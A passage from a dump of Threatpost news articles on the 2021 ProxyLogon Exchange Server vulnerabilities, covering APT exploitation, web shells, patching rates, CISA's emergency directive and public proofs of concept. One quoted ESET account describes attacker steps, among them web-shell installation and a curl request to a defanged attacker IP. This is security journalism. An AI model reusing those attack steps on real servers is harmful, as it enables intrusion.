United States, and primarily goes after U.S. targets, but is linked to the Chinese government, according to Microsoft. It characterizes the APT as \u201ca highly skilled and sophisticated actor.\u201d\n\n## **Time to Patch: Expect More Attacks Soon**\n\nIt should be noted that other researchers say they have seen these vulnerabilities being exploited by different threat actors targeting other regions, according to Narang.\n\n\u201cWe expect other threat actors to begin leveraging these vulnerabilities in the coming days and weeks, which is why it is critically important for organizations that use Exchange Server to apply these patches immediately,\u201d he added.\n\nAnd indeed, researchers at Huntress said they have discovered more than 100 web shells deployed across roughly 1,500 vulnerable servers (with antivirus and endpoint detection/recovery installed) and expect this number to keep rising.\n\nThey\u2019re not alone.\n\n\u201cFireEye has observed these vulnerabilities being exploited in the wild and we are actively working with several impacted organizations,\u201d Charles Carmakal, senior vice president and CTO at FireEye Mandiant, said via email. \u201cIn addition to patching as soon as possible, we recommend organizations also review their systems for evidence of exploitation that may have occurred prior to the deployment of the patches.\u201d\n", "cvss3": {}, "published": "2021-03-03T15:30:52", "type": "threatpost", "title": "Microsoft Exchange 0-Day Attackers Spy on U.S. Targets", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-03T15:30:52", "id": "THREATPOST:247CA39D4B32438A13F266F3A1DED10E", "href": "https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-03-11T21:58:44", "description": "Recently patched Microsoft Exchange vulnerabilities are under fire from at least 10 different advanced persistent threat (APT) groups, all bent on compromising email servers around the world. Overall exploitation activity is snowballing, according to researchers.\n\nMicrosoft said in early March that it [had spotted multiple zero-day exploits](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) in the wild being used to attack on-premises versions of Microsoft Exchange Server. Four flaws can be chained together to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials. This gives them access to email communications and the opportunity to install a webshell for further exploitation within the environment.\n\nAnd indeed, adversaries from the Chinese APT known as Hafnium were able to access email accounts, steal a raft of data and drop malware on target machines for long-term remote access, according to the computing giant.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nMicrosoft was spurred to release [out-of-band patches](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) for the exploited bugs, known collectively as ProxyLogon, which are being tracked as CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065.\n\n## **Rapidly Spreading Email Server Attacks**\n\nMicrosoft said last week that the attacks were \u201climited and targeted.\u201d But that\u2019s certainly no longer the case. Other security companies have [continued to say](<https://twitter.com/0xDUDE/status/1369302347617349642>) they have seen much broader, escalating activity with mass numbers of servers being scanned and attacked.\n\nESET researchers [had confirmed this](<https://threatpost.com/cisa-federal-agencies-patch-exchange-servers/164499/>) as well, and on Wednesday announced that it had pinpointed at least 10 APTs going after the bugs, including Calypso, LuckyMouse, Tick and Winnti Group.\n\n\u201cOn Feb. 28, we noticed that the vulnerabilities were used by other threat actors, starting with Tick and quickly joined by LuckyMouse, Calypso and the Winnti Group,\u201d according to [the writeup](<https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/>). \u201cThis suggests that multiple threat actors gained access to the details of the vulnerabilities before the release of the patch, which means we can discard the possibility that they built an exploit by reverse-engineering Microsoft updates.\u201d\n\n> The [@DIVDnl](<https://twitter.com/DIVDnl?ref_src=twsrc%5Etfw>) scanned over 250K Exchange servers. Sent over 46k emails to the owners. The amount of vulnerable servers is going down. The number of compromised systems is going up. More organizations start investigating their systems for [#Hafnium](<https://twitter.com/hashtag/Hafnium?src=hash&ref_src=twsrc%5Etfw>) exploits.<https://t.co/XmQhHd7OA9>\n> \n> \u2014 Victor Gevers (@0xDUDE) [March 9, 2021](<https://twitter.com/0xDUDE/status/1369302347617349642?ref_src=twsrc%5Etfw>)\n\nThis activity was quickly followed by a raft of other groups, including CactusPete and Mikroceen \u201cscanning and compromising Exchange servers en masse,\u201d according to ESET.\n\n\u201cWe have already detected webshells on more than 5,000 email servers [in more than 115 countries] as of the time of writing, and according to public sources, [several important organizations](<https://twitter.com/sundhaug92/status/1369669037924483087>), such as the European Banking Authority, suffered from this attack,\u201d according to the ESET report.\n\nIt also appears that threat groups are piggybacking on each other\u2019s work. For instance, in some cases the webshells were dropped into Offline Address Book (OAB) configuration files, and they appeared to be accessed by more than one group.\n\n\u201cWe cannot discount the possibility that some threat actors might have hijacked the webshells dropped by other groups rather than directly using the exploit,\u201d said ESET researchers. \u201cOnce the vulnerability had been exploited and the webshell was in place, we observed attempts to install additional malware through it. We also noticed in some cases that several threat actors were targeting the same organization.\u201d\n\n## **Zero-Day Activity Targeting Microsoft Exchange Bugs**\n\nESET has documented a raft of activity targeting the four vulnerabilities, including multiple zero-day compromises before Microsoft rolled patches out.\n\nFor instance, Tick, which has been infiltrating organizations primarily in Japan and South Korea since 2008, was seen compromising the webserver of an IT company based in East Asia two days before Microsoft released its patches for the Exchange flaws.\n\n\u201cWe then observed a Delphi backdoor, highly similar to previous Delphi implants used by the group,\u201d ESET researchers said. \u201cIts main objective seems to be intellectual property and classified information theft.\u201d\n\n\n\nA timeline of ProxyLogon activity. Source: ESET.\n\nOne day before the patches were released, LuckyMouse (a.k.a. APT27 or Emissary Panda) compromised the email server of a governmental entity in the Middle East, ESET observed. The group is cyberespionage-focused and is known for breaching multiple government networks in Central Asia and the Middle East, along with transnational organizations like the International Civil Aviation Organization (ICAO) in 2016.\n\n\u201cLuckyMouse operators started by dropping the Nbtscan tool in C:\\programdata\\, then installed a variant of the ReGeorg webshell and issued a GET request to http://34.90.207[.]23/ip using curl,\u201d according to ESET\u2019s report. \u201cFinally, they attempted to install their SysUpdate (a.k.a. Soldier) modular backdoor.\u201d\n\nThat same day, still in the zero-day period, the Calypso spy group compromised the email servers of governmental entities in the Middle East and in South America. And in the following days, it targeted additional servers at governmental entities and private companies in Africa, Asia and Europe using the exploit.\n\n\u201cAs part of these attacks, two different backdoors were observed: a variant of PlugX specific to the group (Win32/Korplug.ED) and a custom backdoor that we detect as Win32/Agent.UFX (known as Whitebird in a Dr.Web report),\u201d according to ESET. \u201cThese tools are loaded using DLL search-order hijacking against legitimate executables (also dropped by the attackers).\u201d\n\nESET also observed the Winnti Group exploiting the bugs, a few hours before Microsoft released the patches. Winnti (a.k.a. APT41 or Barium, known for [high-profile supply-chain attacks against the video game and software industries](<https://threatpost.com/ransomware-major-gaming-companies-apt27/162735/>)) compromised the email servers of an oil company and a construction equipment company, both based in East Asia.\n\n\u201cThe attackers started by dropping webshells,\u201d according to ESET. \u201cAt one of the compromised victims we observed a [PlugX RAT](<https://threatpost.com/ta416-apt-plugx-malware-variant/161505/>) sample (also known as Korplug)\u2026at the second victim, we observed a loader that is highly similar to previous Winnti v.4 malware loaders\u2026used to decrypt an encrypted payload from disk and execute it. Additionally, we observed various Mimikatz and password dumping tools.\u201d\n\nAfter the patches rolled out and the vulnerabilities were publicly disclosed, [CactusPete (a.k.a. Tonto Team)](<https://threatpost.com/cactuspete-apt-toolset-respionage-targets/158350/>) compromised the email servers of an Eastern Europe-based procurement company and a cybersecurity consulting company, ESET noted. The attacks resulted in the ShadowPad loader being implanted, along with a variant of the Bisonal remote-access trojan (RAT).\n\nAnd, the Mikroceen APT group (a.k.a. Vicious Panda) compromised the Exchange server of a utility company in Central Asia, which is the region it mainly targets, a day after the patches were released.\n\n## **Unattributed Exploitation Activity**\n\nA cluster of pre-patch activity that ESET dubbed Websiic was also seen targeting seven email servers belonging to private companies (in the domains of IT, telecommunications and engineering) in Asia and a governmental body in Eastern Europe.\n\nESET also said it has seen a spate of unattributed [ShadowPad activity](<https://threatpost.com/ccleaner-attackers-intended-to-deploy-keylogger-in-third-stage/130358/>) resulting in the compromise of email servers at a software development company based in East Asia and a real estate company based in the Middle East. ShadowPad is a cyber-attack platform that criminals deploy in networks to gain remote control capabilities, keylogging functionality and data exfiltration.\n\nAnd, it saw another cluster of activity targeting around 650 servers, mostly in the Germany and other European countries, the U.K. and the United States. All of the latter attacks featured a first-stage webshell called RedirSuiteServerProxy, researchers said.\n\nAnd finally, on four email servers located in Asia and South America, webshells were used to install IIS backdoors after the patches came out, researchers said.\n\nThe groundswell of activity, particularly on the zero-day front, brings up the question of how knowledge of the vulnerabilities was spread between threat groups.\n\n\u201cOur ongoing research shows that not only Hafnium has been using the recent RCE vulnerability in Exchange, but that multiple APTs have access to the exploit, and some even did so prior to the patch release,\u201d ESET concluded. \u201cIt is still unclear how the distribution of the exploit happened, but it is inevitable that more and more threat actors, including ransomware operators, will have access to it sooner or later.\u201d\n\nOrganizations with on-premise Microsoft Exchange servers should patch as soon as possible, researchers noted \u2013 if it\u2019s not already too late.\n\n\u201cThe best mitigation advice for network defenders is to apply the relevant patches,\u201d said Joe Slowick, senior security researcher with DomainTools, in a [Wednesday post](<https://www.domaintools.com/resources/blog/examining-exchange-exploitation-and-its-lessons-for-defenders>). \u201cHowever, given the speed in which adversaries weaponized these vulnerabilities and the extensive period of time pre-disclosure when these were actively exploited, many organizations will likely need to shift into response and remediation activities \u2014 including attack surface reduction and active threat hunting \u2014 to counter existing intrusions.\u201d\n\n**_Check out our free [upcoming live webinar events](<https://threatpost.com/category/webinars/>) \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_**\n\n * March 24: **Economics of 0-Day Disclosures: The Good, Bad and Ugly **([Learn more and register!](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>))\n * April 21: **Underground Markets: A Tour of the Dark Economy **([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n\n** **\n", "cvss3": {}, "published": "2021-03-11T18:01:16", "type": "threatpost", "title": "Microsoft Exchange Servers Face APT Attack Tsunami", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-11T18:01:16", "id": "THREATPOST:CAA77BB0CF0093962ECDD09004546CA3", "href": "https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-26T19:00:10", "description": "The patching level for Microsoft Exchange Servers that are vulnerable to the [ProxyLogon group of security bugs](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>) has reached 92 percent, according to Microsoft.\n\nThe computing giant [tweeted out the stat](<https://twitter.com/msftsecresponse/status/1374075310195412992>) earlier this week \u2013 though of course patching won\u2019t fix already-compromised machines. Still, that\u2019s an improvement of 43 percent just since last week, Microsoft pointed out (using telemetry from RiskIQ).\n\n> Our work continues, but we are seeing strong momentum for on-premises Exchange Server updates: \n\u2022 92% of worldwide Exchange IPs are now patched or mitigated. \n\u2022 43% improvement worldwide in the last week. [pic.twitter.com/YhgpnMdlOX](<https://t.co/YhgpnMdlOX>)\n> \n> \u2014 Security Response (@msftsecresponse) [March 22, 2021](<https://twitter.com/msftsecresponse/status/1374075310195412992?ref_src=twsrc%5Etfw>)\n\nProxyLogon consists of four flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065) that can be chained together to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials. This gives them access to email communications and the opportunity to install a web shell for further exploitation within the environment.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe good news on patching comes as a whirlwind of ProxyLogon cyberattacks has hit companies across the globe, with multiple advanced persistent threats (APT) and possibly other adversaries moving quickly to exploit the bug. A spate of public proof-of-concept exploits has added fuel to the fire \u2013 which is blazing so bright that F-Secure said on Sunday that hacks are occurring \u201cfaster than we can count,\u201d with tens of thousands of machines compromised.\n\n\u201cTo make matters worse, proof-of-concept automated attack scripts are being made publicly available, making it possible for even unskilled attackers to quickly gain remote control of a vulnerable Microsoft Exchange Server,\u201d according to [F-Secure\u2019s writeup](<https://blog.f-secure.com/microsoft-exchange-proxylogon/>). \u201cThere is even a fully functioning package for exploiting the vulnerability chain published to the Metasploit application, which is commonly used for both hacking- and security testing. This free-for-all attack opportunity is now being exploited by vast numbers of criminal gangs, state-backed threat actors and opportunistic script kiddies.\u201d\n\nThe attackers are using ProxyLogon to carry out a range of attacks, including data theft and the installation of malware, such as the recently discovered \u201cBlackKingdom\u201d strain. According to Sophos, the ransomware operators are asking for $10,000 in Bitcoin in exchange for an encryption key.\n\n## **Patching Remains Tough for Many**\n\nThe CyberNews investigation team [found](<https://cybernews.com/news/patched-microsoft-exchange-servers-give-a-false-sense-of-security-says-cisas-brandon-wales/>) 62,174 potentially vulnerable unpatched Microsoft Exchange Servers around the world, as of Wednesday.\n\n\n\nClick to enlarge. Source: CyberNews.\n\nVictor Wieczorek, practice director for Threat & Attack Simulation at GuidePoint Security, noted that some organizations are not structured or resourced to patch effectively against ProxyLogon.\n\n\u201cThis is because, 1) a lack of accurate asset inventory and ownership information; and 2) lag time to vet patching for negative impacts on the business and gain approval from asset/business owners to patch,\u201d he told Threatpost. \u201cIf you don\u2019t have an accurate inventory with a high level of confidence, it takes a long time to hunt down affected systems. You have to determine who owns them and if applying the patch would negatively impact the system\u2019s function. Responsible and timely patching takes lots of proactive planning and tracking.\u201d\n\nHe added that by regularly testing existing controls (red-teaming), searching for indicators of existing weakness and active threats (threat hunting), and investing/correcting confirmed vulnerabilities (vulnerability management), organizations are going to be in a much better spot to adjust to emerging vulnerabilities and invoke their incident-response capabilities when needed.\n\n## **APT Activity Continues**\n\nMicrosoft said in early March that it [had spotted multiple zero-day exploits](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) in the wild being used to attack on-premises versions of Microsoft Exchange servers.\n\nAnd indeed, Microsoft noted that adversaries from a Chinese APT called Hafnium were able to access email accounts, steal a raft of data and drop malware on target machines for long-term remote access. It\u2019s also apparent that Hafnium isn\u2019t the only party of interest, according to multiple researchers; [ESET said earlier in March](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) that at least 10 different APTs are using the exploit.\n\nThe sheer volume of APTs mounting attacks, most of them starting in the days before ProxyLogon became publicly known, has prompted questions as to the exploit\u2019s provenance \u2013 and ESET researchers mused whether it was shared around the Dark Web on a wide scale.\n\nThe APTs seem mainly bent on cyberespionage and data theft, researchers said.\n\n\u201cThese breaches could be occurring in the background, completely unnoticed. Only after months or years will it become clear what was stolen,\u201d according to F-Secure. \u201cIf an attacker knows what they are doing, the data has most likely already been stolen or is being stolen right now.\u201d\n\nSeveral versions of the on-premise flavor of Exchange are vulnerable to the four bugs, including Exchange 2013, 2016 and 2019. Cloud-based and hosted versions are not vulnerable to ProxyLogon.\n\n## **Patching is Not Enough; Assume Compromise**\n\nUnfortunately, installing the ProxyLogon security patches alone does not guarantee that a server is secure \u2013 an attacker may have breached it before the update was installed.\n\n\u201cPatching is like closing a door. Therefore, 92 percent of the doors have been closed. But the doors were open for a relatively long time and known to all the bad actors,\u201d Oliver Tavakoli, CTO at Vectra, told Threatpost. \u201cIdentifying and remediating already compromised systems will be a lot harder.\u201d\n\nBrandon Wales, the acting director for the Cybersecurity and Infrastructure Security Agency (CISA), said during a webinar this week that \u201cpatching is not sufficient.\u201d\n\n\u201cWe know that multiple adversaries have compromised networks prior to patches being applied Wales said during a [Cipher Brief webinar](<https://cybernews.com/news/patched-microsoft-exchange-servers-give-a-false-sense-of-security-says-cisas-brandon-wales/>). He added, \u201cYou should not have a false sense of security. You should fully understand the risk. In this case, how to identify whether your system is already compromised, how to remediate it, and whether you should bring in a third party if you are not capable of doing that.\u201d\n\n## **How Businesses Can Protect Against ProxyLogon**\n\nYonatan Amitay, Security Researcher at Vulcan Cyber, told Threatpost that a successful response to mitigate Microsoft Exchange vulnerabilities should consist of the following steps:\n\n * Deploy updates to affected Exchange Servers.\n * Investigate for exploitation or indicators of persistence.\n * Remediate any identified exploitation or persistence and investigate your environment for indicators of lateral movement or further compromise.\n\n\u201cIf for some reason you cannot update your Exchange servers immediately, Microsoft has released instructions for how to mitigate these vulnerabilities through reconfiguration \u2014 here, as they recognize that applying the latest patches to Exchange servers may take time and planning, especially if organizations are not on recent versions and/or associated cumulative and security patches,\u201d he said. \u201cNote that the mitigations suggested are not substitutes for installing the updates.\u201d\n\nMicrosoft also has issued a one-click mitigation and remediation tool for small- and medium-sized businesses in light of the ongoing swells of attacks.\n\nVectra\u2019s Tavakoli noted that the mitigation guides and tools Microsoft has supplied don\u2019t necessarily help post-compromise \u2013 they are intended to provide mitigation in advance of fully patching the Exchange server.\n\n\u201cThe end result of a compromise is reflective of the M.O. of each attack group, and that will be far more variable and less amenable to automated cleanup,\u201d he said.\n\nMilan Patel, global head of MSS for BlueVoyant, said that identifying follow-on malicious activity after the bad guys have gotten access to a network requires a good inventory of where data is housed.\n\n\u201cIncident response is a critical reactive tool that will help address what data could have been touched or stolen by the bad guys after they gained access to the critical systems,\u201d he told Threatpost. \u201cThis is critical, this could mean the difference between a small cleanup effort vs. potential litigation because sensitive data was stolen from the network.\u201d\n\n**_Check out our free _**[**_upcoming live webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_**\n\n * April 21: **Underground Markets: A Tour of the Dark Economy** ([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n", "cvss3": {}, "published": "2021-03-24T18:39:26", "type": "threatpost", "title": "Microsoft Exchange Servers See ProxyLogon Patching Frenzy", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-24T18:39:26", "id": "THREATPOST:BADA213290027D414693E838771F8645", "href": "https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-04T21:57:55", "description": "Hot on the heels of Microsoft\u2019s announcement about active cyber-espionage campaigns that are [exploiting four serious security vulnerabilities](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) in Microsoft Exchange Server, the U.S. government is mandating patching for the issues.\n\nThe news comes as security firms report escalating numbers of related campaigns led by sophisticated adversaries against a range of high-value targets, especially in the U.S.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) has issued an emergency directive, warning that its partners have observed active exploitation of the bugs in Microsoft Exchange on-premises products, which allow attackers to have \u201cpersistent system access and control of an enterprise network.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cCISA has determined that this exploitation of Microsoft Exchange on-premises products poses an unacceptable risk to Federal Civilian Executive Branch agencies and requires emergency action,\u201d reads the [March 3 alert](<https://cyber.dhs.gov/ed/21-02/>). \u201cThis determination is based on the current exploitation of these vulnerabilities in the wild, the likelihood of the vulnerabilities being exploited, the prevalence of the affected software in the federal enterprise, the high potential for a compromise of agency information systems and the potential impact of a successful compromise.\u201d\n\n## **Rapidly Spreading Exchange Server Attacks**\n\nEarlier this week Microsoft said that it had spotted multiple zero-day exploits in the wild being used to attack on-premises versions of Microsoft Exchange Server, spurring it to release [out-of-band patches](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>).\n\nThe exploited bugs are being tracked as CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065. When chained together, they allow remote authentication bypass and remote code execution. Adversaries have been able to access email accounts, steal a raft of data and drop malware on target machines for long-term remote access, according to the computing giant.\n\nThe attacks are being carried out in part by a China-linked advanced persistent threat (APT) called Hafnium, Microsoft said \u2013 but multiple other security firms have observed attacks from other groups and against a widespread swathe of targets.\n\nResearchers at Huntress Labs for instance told Threatpost that its researchers have discovered more than 200 web shells deployed across thousands of vulnerable servers (with antivirus and endpoint detection/recovery installed), and it expects this number to keep rising.\n\n\u201cThe team is seeing organizations of all shapes and sizes affected, including electricity companies, local/county governments, healthcare providers and banks/financial institutions, as well as small hotels, multiple senior citizen communities and other mid-market businesses,\u201d a spokesperson at Huntress told Threatpost.\n\nMeanwhile, researchers at ESET tweeted that CVE-2021-26855 was being actively exploited in the wild by at least three APTS besides Hafnium.\n\n\u201cAmong them, we identified #LuckyMouse, #Tick, #Calypso and a few additional yet-unclassified clusters,\u201d it tweeted, adding that while most attacks are against targets in the U.S., \u201cwe\u2019ve seen attacks against servers in Europe, Asia and the Middle East.\u201d\n\n> Most targets are located in the US but we\u2019ve seen attacks against servers in Europe, Asia and the Middle East. Targeted verticals include governments, law firms, private companies and medical facilities. 3/5 [pic.twitter.com/kwxjYPeMlm](<https://t.co/kwxjYPeMlm>)\n> \n> \u2014 ESET research (@ESETresearch) [March 2, 2021](<https://twitter.com/ESETresearch/status/1366862951156695047?ref_src=twsrc%5Etfw>)\n\nThe vulnerabilities only exist in on-premise versions of Exchange Server, and don\u2019t affect Office 365 and virtual instances. Yet despite the move to the cloud, there are plenty of physical servers still in service, leaving a wide pool of targets.\n\n\u201cWith organizations migrating to Microsoft Office 365 en masse over the last few years, it\u2019s easy to forget that on-premises Exchange servers are still in service,\u201d Saryu Nayyar, CEO, Gurucul, said via email. \u201cSome organizations, notably in government, can\u2019t migrate their applications to the cloud due to policy or regulation, which means we will see on-premises servers for some time to come.\u201d\n\n## **CISA Mandates Patching Exchange Servers**\n\nCISA is requiring federal agencies to take several steps in light of the spreading attacks.\n\nFirst, they should take a thorough inventory of all on-premises Microsoft Exchange Servers in their environments, and then perform forensics to identify any existing compromises. Any compromises must be reported to CISA for remediation.\n\nThe forensics step would include collecting \u201csystem memory, system web logs, windows event logs and all registry hives. Agencies shall then examine the artifacts for indications of compromise or anomalous behavior, such as credential dumping and other activities.\u201d\n\nIf no indicators of compromise have been found, agencies must immediately patch, CISA added. And if agencies can\u2019t immediately patch, then they must take their Microsoft Exchange Servers offline.\n\nAll agencies have also been told to submit an initial report by Friday on their current situation.\n\n\u201c[This] highlights the increasing frequency of attacks orchestrated by nation states,\u201d said Steve Forbes, government cybersecurity expert at Nominet, via email. \u201cThe increasing role of government agencies in leading a coordinated response against attacks. CISA\u2019s directive for agencies to report back on their level of exposure, apply security fixes or disconnect the program is the latest in a series of increasingly regular emergency directives that the agency has issued since it was established two years ago. Vulnerabilities like these demonstrate the necessity for these coordinated national protective measures to efficiently and effectively mitigate the effects of attacks that could have major national security implications.\u201d\n", "cvss3": {}, "published": "2021-03-04T17:08:36", "type": "threatpost", "title": "CISA Orders Fed Agencies to Patch Exchange Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-04T17:08:36", "id": "THREATPOST:54430D004FBAE464FB7480BC724DBCC8", "href": "https://threatpost.com/cisa-federal-agencies-patch-exchange-servers/164499/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-03-16T17:23:15", "description": "As dangerous attacks accelerate against Microsoft Exchange Servers in the wake of the disclosure around the [ProxyLogon group of security bugs](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>), a public proof-of-concept (PoC) whirlwind has started up. It\u2019s all leading to a feeding frenzy of cyber-activity.\n\nThe good news, however, is that Microsoft has issued a one-click mitigation and remediation tool in light of the ongoing swells of attacks.\n\nResearchers said that while advanced persistent threats (APTs) were the first to the game when it comes to hacking vulnerable Exchange servers, the public PoCs mean that the cat is officially out of the bag, meaning that less sophisticated cybercriminals can start to leverage the opportunity.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cAPTs\u2026can reverse engineer the patches and make their own PoCs,\u201d Roger Grimes, data-driven defense evangelist at KnowBe4, told Threatpost. \u201cBut publicly posted PoCs mean that the thousands of other hacker groups that don\u2019t have that level of sophistication can do it, and even those groups that do have that sophistication can do it faster.\u201d\n\nAfter confirming the efficacy of one of the new public PoCs, security researcher Will Dorman of CERT/CC [tweeted](<https://twitter.com/wdormann/status/1370800181143351296>), \u201cHow did I find this exploit? Hanging out in the dark web? A hacker forum? No. Google search.\u201d\n\n## **What is the ProxyLogon Exploit Against Microsoft Exchange?**\n\nMicrosoft said in early March that it [had spotted multiple zero-day exploits](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) in the wild being used to attack on-premises versions of Microsoft Exchange servers.\n\nFour flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065) can be chained together to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials. This gives them access to email communications and the opportunity to install a web shell for further exploitation within the environment.\n\nAnd indeed, Microsoft noted that adversaries from a Chinese APT called Hafnium were able to access email accounts, steal a raft of data and drop malware on target machines for long-term remote access.\n\nMicrosoft quickly pushed out out-of-band patches for ProxyLogon, but even so, tens of thousands of organizations have so far been compromised using the exploit chain.\n\nIt\u2019s also apparent that Hafnium isn\u2019t the only party of interest, according to multiple researchers; [ESET said last week](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) that at least 10 different APTs are using the exploit.\n\nThe sheer volume of APTs mounting attacks, most of them starting in the days before ProxyLogon became publicly known, has prompted questions as to the exploit\u2019s provenance \u2013 and ESET researchers mused whether it was shared around the Dark Web on a wide scale.\n\nSeveral versions of the on-premise flavor of Exchange are vulnerable to the four bugs, including Exchange 2013, 2016 and 2019. Cloud-based and hosted versions are not vulnerable to ProxyLogon.\n\n## **How Many Organizations and Which Ones Remain at Risk?**\n\nMicrosoft originally identified more than 400,000 on-premise Exchange servers that were at-risk when the patches were first released on March 2. Data collected by RiskIQ [indicated that](<https://www.riskiq.com/blog/external-threat-management/microsoft-exchange-server-landscape/?utm_campaign=exchange_landscape_blog>) as of March 14, there were 69,548 Exchange servers that were still vulnerable. And in a separate analysis from Kryptos Logic, 62,018 servers are still vulnerable to CVE-2021-26855, the server-side request forgery flaw that allows initial access to Exchange servers.\n\n\u201cWe released one additional set of updates on March 11, and with this, we have released updates covering more than 95 percent of all versions exposed on the internet,\u201d according to [post](<https://www.microsoft.com/security/blog/2021/03/12/protecting-on-premises-exchange-servers-against-recent-attacks/>) published by Microsoft last week.\n\nHowever, Check Point Research (CPR) [said this week](<https://blog.checkpoint.com/2021/03/11/exploits-on-organizations-worldwide/>) that in its latest observations on exploitation attempts, the number of attempted attacks has increased tenfold, from 700 on March 11 to more than 7,200 on March 15.\n\nAccording to CPR\u2019s telemetry, the most-attacked country has been the United States (accounting for 17 percent of all exploit attempts), followed by Germany (6 percent), the United Kingdom (5 percent), the Netherlands (5 percent) and Russia (4 percent).\n\nThe most-targeted industry sector meanwhile has been government/military (23 percent of all exploit attempts), followed by manufacturing (15 percent), banking and financial services (14 percent), software vendors (7 percent) and healthcare (6 percent).\n\n\u201cWhile the numbers are falling, they\u2019re not falling fast enough,\u201d RiskIQ said in its [post](<https://www.riskiq.com/blog/external-threat-management/microsoft-exchange-server-landscape/?utm_campaign=exchange_landscape_blog&utm_source=twitter&utm_medium=social&utm_content=exchange_landscape_blog_twitter>). \u201cIf you have an Exchange server unpatched and exposed to the internet, your organization is likely already breached. One reason the response may be so slow is many organizations may not realize they have exchange servers exposed to the Internet\u2014this is a common issue we see with new customers.\u201d\n\nIt added, \u201cAnother is that while new patches are coming out every day, many of these servers are not patchable and require upgrades, which is a complicated fix and will likely spur many organizations to migrate to cloud email.\u201d\n\n## **Will the ProxyLogon Attacks Get Worse?**\n\nUnfortunately, it\u2019s likely that attacks on Exchange servers will become more voluminous. Last week, independent security researcher Nguyen Jang [published a PoC on GitHub, ](<https://twitter.com/taviso/status/1370068702817783810>)which chained two of the [ProxyLogon](<https://securityaffairs.co/wordpress/115428/security/microsoft-exchange-emergency-update.html>) vulnerabilities together.\n\nGitHub quickly took it down in light of the hundreds of thousands of still-vulnerable machines in use, but it was still available for several hours.\n\nThen over the weekend, another PoC appeared, flagged and confirmed by CERT/CC\u2019s Dormann:\n\n> Well, I'll say that the ProxyLogon Exchange CVE-2021-26855 Exploit is completely out of the bag by now.<https://t.co/ubsysTeFOj> \nI'm not so sure about the \"Failed to write to shell\" error message. But I can confirm that it did indeed drop a shell on my test Exchange 2016 box. [pic.twitter.com/ijOGx3BIif](<https://t.co/ijOGx3BIif>)\n> \n> \u2014 Will Dormann (@wdormann) [March 13, 2021](<https://twitter.com/wdormann/status/1370800181143351296?ref_src=twsrc%5Etfw>)\n\nEarlier, Praetorian researchers on March 8 published a [detailed technical analysis](<https://www.praetorian.com/blog/reproducing-proxylogon-exploit/>) of CVE-2021-26855 (the one used for initial access), which it used to create an exploit. The technical details offer a public roadmap for reverse-engineering the patch.\n\nThe original exploit used by APTs meanwhile could have been leaked or lifted from Microsoft\u2019s information-sharing program, according to a recent report in the Wall Street Journal. [In light of evidence](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) that multiple APTs were mounting zero-day attacks in the days before Microsoft released patches for the bugs, the computing giant is reportedly questioning whether an exploit was leaked from one of its security partners.\n\nMAPP delivers relevant bug information to security vendors ahead of disclosure, so they can get a jump on adding signatures and indicators of compromise to their products and services. This can include, yes, exploit code.\n\n\u201cSome of the tools used in the second wave of the attack, which is believed to have begun Feb. 28, bear similarities to proof-of-concept attack code that Microsoft distributed to antivirus companies and other security partners Feb. 23, investigators at security companies say,\u201d according to [the report](<https://www.wsj.com/articles/microsoft-probing-whether-leak-played-role-in-suspected-chinese-hack-11615575793>). \u201cMicrosoft had planned to release its security fixes two weeks later, on March 9, but after the second wave began it pushed out the patches a week early, on March 2, according to researchers.\u201d\n\n## **Microsoft Mitigation Tool**\n\nMicrosoft has released an Exchange 